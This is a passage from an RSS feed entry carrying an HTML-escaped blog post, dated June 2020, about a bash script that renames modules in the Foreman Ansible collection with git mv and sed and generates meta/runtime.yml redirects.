&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;testfile&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/fixtures/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;-*.yml&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;testfile&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;testfile&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now comes the really tricky part: search and replace. Let's see where we need to replace first:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;in the module file&lt;ol&gt;
&lt;li&gt;&lt;code&gt;module&lt;/code&gt; key of the &lt;code&gt;DOCUMENTATION&lt;/code&gt; stanza (e.g. &lt;code&gt;module: foreman_example&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;all examples (e.g. &lt;code&gt;foreman_example: …&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;in all test playbooks (e.g. &lt;code&gt;foreman_example: …&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;in pytest's &lt;code&gt;conftest.py&lt;/code&gt; and other files related to test execution&lt;/li&gt;
&lt;li&gt;in documentation&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/^(\s+&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;|module):/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/g"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/*.py

sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/^(\s+&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;|module):/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/g"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tests/test_playbooks/tasks/*.yml&lt;span class="w"&gt; &lt;/span&gt;tests/test_playbooks/*.yml

sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/'&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tests/conftest.py&lt;span class="w"&gt; &lt;/span&gt;tests/test_crud.py

sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/g' README.md docs/*.md&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You've probably noticed I used &lt;code&gt;${BASE}&lt;/code&gt; and &lt;code&gt;${TESTS}&lt;/code&gt; and never defined them… Lazy me.&lt;/p&gt;
&lt;p&gt;But here is the full script, defining the variables and looping over all the modules.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;plugins/modules
&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;tests/test_playbooks
&lt;span class="nv"&gt;RUNTIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;meta/runtime.yml

&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"plugin_routing:"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RUNTIME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"  modules:"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RUNTIME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/foreman_*py&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/katello_*py&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;basename&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;module&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.py&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;prefixless_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/^(foreman|katello)_//'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_environment'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'puppet_environment'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'katello_sync'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'repository_sync'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'katello_upload'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'content_upload'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_ptable'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'partition_table'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_search_facts'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'resource_info'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'katello_manifest'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'subscription_manifest'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_model'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'hardware_model'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;prefixless_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"renaming &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; to &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.py&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.py

&lt;span class="w"&gt;  &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.yml&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.yml
&lt;span class="w"&gt;  &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;tests/fixtures/apidoc/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.json&lt;span class="w"&gt; &lt;/span&gt;tests/fixtures/apidoc/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.json
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;testfile&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/fixtures/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;-*.yml&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;testfile&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;testfile&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/^(\s+&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;|module):/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/g"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/*.py

&lt;span class="w"&gt;  &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/^(\s+&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;|module):/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/g"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tests/test_playbooks/tasks/*.yml&lt;span class="w"&gt; &lt;/span&gt;tests/test_playbooks/*.yml

&lt;span class="w"&gt;  &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/'&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tests/conftest.py&lt;span class="w"&gt; &lt;/span&gt;tests/test_crud.py

&lt;span class="w"&gt;  &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`/ s/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/g' README.md docs/*.md&lt;/span&gt;

&lt;span class="s2"&gt;  echo "&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;:&lt;span class="s2"&gt;" &amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RUNTIME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="s2"&gt;  echo "&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;redirect:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;" &amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RUNTIME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;

&lt;span class="s2"&gt;  git commit -m "&lt;/span&gt;rename&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;" &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; tests/ README.md docs/ &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RUNTIME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="s2"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As a bonus, the script will also generate a &lt;code&gt;meta/runtime.yml&lt;/code&gt; which can be used by &lt;a href="https://github.com/ansible/ansible/pull/67684"&gt;Ansible 2.10+ to automatically use the new module names if the playbook contains the old ones&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Oh, and yes, this is probably not the nicest script you'll read this year. Maybe not even today. But it got the job nicely done and I don't intend to need it again anyways.&lt;/p&gt;</description><category>ansible</category><category>english</category><category>foreman</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2020/06/mass-migrating-modules-inside-an-ansible-collection/</guid><pubDate>Mon, 22 Jun 2020 19:31:05 GMT</pubDate></item></channel></rss>